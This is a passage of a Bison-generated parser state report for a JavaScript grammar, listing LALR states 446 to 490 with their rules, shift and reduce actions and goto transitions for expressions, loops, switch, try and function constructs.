BitwiseXORExprNoIn "^" BitwiseANDExprNoIn _ - - "&" shift, and go to state 394 - $default reduce using rule 168 (BitwiseXORExprNoIn) - - -state 446 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn - 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" BitwiseXORExprNoIn _ - - "^" shift, and go to state 395 - $default reduce using rule 174 (BitwiseORExprNoIn) - - -state 447 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn - 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND BitwiseORExprNoIn _ - - "|" shift, and go to state 396 - $default reduce using rule 180 (LogicalANDExprNoIn) - - -state 448 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn - 186) LogicalORExprNoIn : LogicalORExprNoIn OR LogicalANDExprNoIn _ - - AND shift, and go to state 397 - $default reduce using rule 186 (LogicalORExprNoIn) - - -state 449 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn _ ":" AssignmentExprNoIn - - ":" shift, and go to state 476 - - -state 450 - - 216) ExprNoIn : ExprNoIn "," AssignmentExprNoIn _ - - $default reduce using rule 216 (ExprNoIn) - - -state 451 - - 214) Expr : Expr _ "," AssignmentExpr - 252) ExprOpt : Expr _ - - "," shift, and go to state 213 - $default reduce using rule 252 (ExprOpt) - - -state 452 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt _ ";" ExprOpt ")" Statement - - ";" shift, and go to state 477 - - -state 453 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," _ VariableDeclarationNoIn - - IDENT shift, and go to state 479 - - VariableDeclarationNoIn go to state 478 - -state 454 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" _ ExprOpt ";" ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 480 - -state 455 - - 229) VariableDeclarationNoIn : IDENT InitializerNoIn _ - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn _ IN Expr ")" Statement - - IN shift, and go to state 481 - $default reduce using rule 229 (VariableDeclarationNoIn) - - -state 456 - - 237) InitializerNoIn : "=" _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 482 - -state 457 - - 249) IterationStatement : FOR "(" VAR IDENT IN _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 483 - -state 458 - - 267) WithStatement : WITH "(" Expr ")" Statement _ - - $default reduce using rule 267 (WithStatement) - - -state 459 - - 268) SwitchStatement : SWITCH "(" Expr ")" CaseBlock _ - - $default reduce using rule 268 (SwitchStatement) - - -state 460 - - 269) CaseBlock : "{" _ CaseClausesOpt "}" - 270) CaseBlock : "{" _ CaseClausesOpt DefaultClause CaseClausesOpt "}" - - CASE shift, and go to state 487 - $default reduce using rule 271 (CaseClausesOpt) - - CaseClausesOpt go to state 484 - CaseClauses go to state 485 - CaseClause go to state 486 - -state 461 - - 281) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block - 282) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block FINALLY Block - - ")" shift, and go to state 488 - - -state 462 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 489 - SourceElements go to state 468 - -state 463 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 490 - - -state 464 - - 32) Property : IDENT IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 491 - - -state 465 - - 33) Property : IDENT IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 492 - "," shift, and go to state 422 - - -state 466 - - 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr _ - - $default reduce using rule 190 (ConditionalExpr) - - -state 467 - - 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 493 - - -state 468 - - 293) FunctionBody : SourceElements _ - - $default reduce using rule 293 (FunctionBody) - - -state 469 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 494 - SourceElements go to state 468 - -state 470 - - 292) FormalParameterList : FormalParameterList "," IDENT _ - - $default reduce using rule 292 (FormalParameterList) - - -state 471 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 495 - SourceElements go to state 468 - -state 472 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 496 - - -state 473 - - 242) IfStatement : IF "(" Expr ")" Statement ELSE _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 497 - -state 474 - - 243) IterationStatement : DO Statement WHILE "(" Expr ")" _ ";" - 244) IterationStatement : DO Statement WHILE "(" Expr ")" _ error - - error shift, and go to state 499 - ";" shift, and go to state 498 - - -state 475 - - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 500 - -state 476 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - AssignmentExprNoIn go to state 501 - ConditionalExprNoIn go to state 312 - -state 477 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" _ ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 502 - -state 478 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," VariableDeclarationNoIn _ - - $default reduce using rule 225 (VariableDeclarationListNoIn) - - -state 479 - - 228) VariableDeclarationNoIn : IDENT _ - 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn - - "=" shift, and go to state 456 - $default reduce using rule 228 (VariableDeclarationNoIn) - - InitializerNoIn go to state 503 - -state 480 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt _ ";" ExprOpt ")" Statement - - ";" shift, and go to state 504 - - -state 481 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 505 - -state 482 - - 237) InitializerNoIn : "=" AssignmentExprNoIn _ - - $default reduce using rule 237 (InitializerNoIn) - - -state 483 - - 214) Expr : Expr _ "," AssignmentExpr - 249) IterationStatement : FOR "(" VAR IDENT IN Expr _ ")" Statement - - ")" shift, and go to state 506 - "," shift, and go to state 213 - - -state 484 - - 269) CaseBlock : "{" CaseClausesOpt _ "}" - 270) CaseBlock : "{" CaseClausesOpt _ DefaultClause CaseClausesOpt "}" - - DEFAULT shift, and go to state 509 - "}" shift, and go to state 507 - - DefaultClause go to state 508 - -state 485 - - 272) CaseClausesOpt : CaseClauses _ - 274) CaseClauses : CaseClauses _ CaseClause - - CASE shift, and go to state 487 - $default reduce using rule 272 (CaseClausesOpt) - - CaseClause go to state 510 - -state 486 - - 273) CaseClauses : CaseClause _ - - $default reduce using rule 273 (CaseClauses) - - -state 487 - - 275) CaseClause : CASE _ Expr ":" SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 511 - -state 488 - - 281) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block - 282) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block FINALLY Block - - "{" shift, and go to state 65 - - Block go to state 512 - -state 489 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 513 - - -state 490 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - 